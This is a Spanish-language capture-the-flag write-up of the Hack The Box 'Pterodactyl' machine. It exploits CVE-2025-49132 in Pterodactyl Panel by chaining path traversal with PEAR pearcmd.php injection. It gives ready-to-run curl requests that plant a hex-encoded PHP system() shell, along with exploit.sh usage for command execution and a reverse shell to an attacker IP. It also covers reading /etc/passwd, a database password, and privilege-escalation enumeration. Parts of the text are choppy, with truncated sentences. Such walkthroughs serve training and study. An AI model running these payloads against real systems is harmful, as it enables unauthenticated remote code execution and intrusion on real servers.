
Exploit para CVE-2025-49132 dirigido al Panel Pterodactyl, que combina path traversal con inyección de comandos PEAR para ejecución remota de código no autenticada. Incluye scripts bash y Python para ejecución de comandos, shells inversas y guía de escalada de privilegios.
HTB Temporada 10 - Writeup de la Máquina Pterodactyl
Objetivo: Máquina Pterodactyl HTB (Dificultad Media)
CVE: CVE-2025-49132
Severidad: Crítica (CVSS 9.8)
Tipo de Ataque: Ejecución Remota de Código No Autenticada
Afectado: Pterodactyl Panel < v1.11.11
Esta cadena de exploits combina:
El endpoint /locales/locale.json del Pterodactyl Panel permite path traversal a través del parámetro locale:
GET /locales/locale.json?locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd
Esto se puede encadenar con pearcmd.php de PEAR para:
/tmpPEAR (PHP Extension and Application Repository) tiene una herramienta CLI (pearcmd.php) que:
config-create que escribe archivosLa Cadena del Exploit:
Path Traversal → Cargar pearcmd.php → Inyectar PHP vía config-create → Ejecutar PHP malicioso
Los comandos se codifican en hexadecimal usando hex2bin() para evadir:
Ejemplo:
Command: whoami
Hex: 77686f616d69
Payload: <?=system(hex2bin('77686f616d69'))?>
Método 1: Usando el exploit.sh proporcionado
chmod +x exploit.sh
# Obtener la bandera de usuario
./exploit.sh flag
# Ejecutar comandos
./exploit.sh cmd "whoami"
./exploit.sh cmd "cat /etc/passwd"
# Shell inversa
nc -lvnp 4444 # En la máquina atacante
./exploit.sh shell 10.10.14.21 4444
Método 2: Explotación manual
# Paso 1: Escribir shell PHP (codificado en hex como "whoami")
curl -g "http://panel.pterodactyl.htb/locales/locale.json?\
+config-create+/&\
locale=../../../../../../usr/share/php/PEAR&\
namespace=pearcmd&\
/<?=system(hex2bin('77686f616d69'))?>+/tmp/shell.php"
# Paso 2: Ejecutar
curl "http://panel.pterodactyl.htb/locales/locale.json?\
locale=../../../../../tmp&\
namespace=shell"
Método 3: Script Python
Añadí exploit.py
**Instalar requests**
Exploit bash completo
./exploit.sh cmd "whoami" # Ejecutar un solo comando
./exploit.sh shell 10.10.14.21 4444 # Shell inversa
./exploit.sh flag # Encontrar bandera de usuario
Características:
Documentación técnica completa
Contiene:
# 1. Agregar a /etc/hosts
echo "10.10.x.x pterodactyl.htb panel.pterodactyl.htb" | sudo tee -a /etc/hosts
# 2. Descargar exploit
wget https://your-repo/exploit.sh
chmod +x exploit.sh
# 3. Obtener shell
nc -lvnp 4444 # Terminal 1
./exploit.sh shell 10.10.14.21 4444 # Terminal 2
# 4. Obtener bandera de usuario
cat /home/phileasfogg3/user.txt
# Verificar servicios en ejecución
ss -tlnp
# Encontrados:
# 127.0.0.1:3306 - MySQL (root)
# 127.0.0.1:6379 - Redis
# 127.0.0.1:9000 - PHP-FPM (root)
# 127.0.0.1:25 - Postfix
# Verificar sudo
sudo -l
# (Probablemente requiere contraseña)
# Binarios SUID
find / -perm -4000 2>/dev/null
# Cron jobs
cat /etc/crontab
ls -la /etc/cron.*
mysql -u pterodactyl -pPteraPanel
# Verificar inyección UDF, permisos de escritura de archivos
# Verificar explotación de FPM (CVE-2019-11043 o abuso de configuración)
# Verificar omisión de autenticación, RCE vía cron
redis-cli -h 127.0.0.1
find /etc/cron* -writable 2>/dev/null
uname -a
# Verificar DirtyCow, etc.